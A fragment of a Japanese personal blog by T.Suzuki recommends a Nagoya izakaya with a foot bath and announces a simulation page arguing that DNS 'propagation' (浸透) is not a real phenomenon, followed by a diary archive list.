番外に名古屋新栄の座敷に足湯のある居酒屋さんを紹介しておきます。そのうちここでミニ DNS 温泉を開きたいと思っています。


2019-12-11 浸透って何?

浸透いうなシミュレーション

浸透などという現象がないことを示す「浸透いうなシミュレーション」 のページを公開しました。 浸透いうなグッズとともに浸透いうなの活動にお役立てください。


最近の日記

2008|04|05|06|07|08|10|11|
2009|02|03|04|06|07|09|10|11|
2010|01|03|06|09|10|11|12|
2011|01|02|03|05|06|07|10|11|
2012|03|06|07|10|11|12|
2013|02|03|04|05|06|08|09|10|11|
2014|01|03|04|05|06|07|08|09|10|11|12|
2015|01|02|03|04|07|08|09|10|11|12|
2016|01|06|08|12|
2017|03|07|08|09|12|
2018|04|08|10|11|
2019|01|02|07|11|12|
2020|01|02|03|05|06|07|08|

リンク

Copyright by T.Suzuki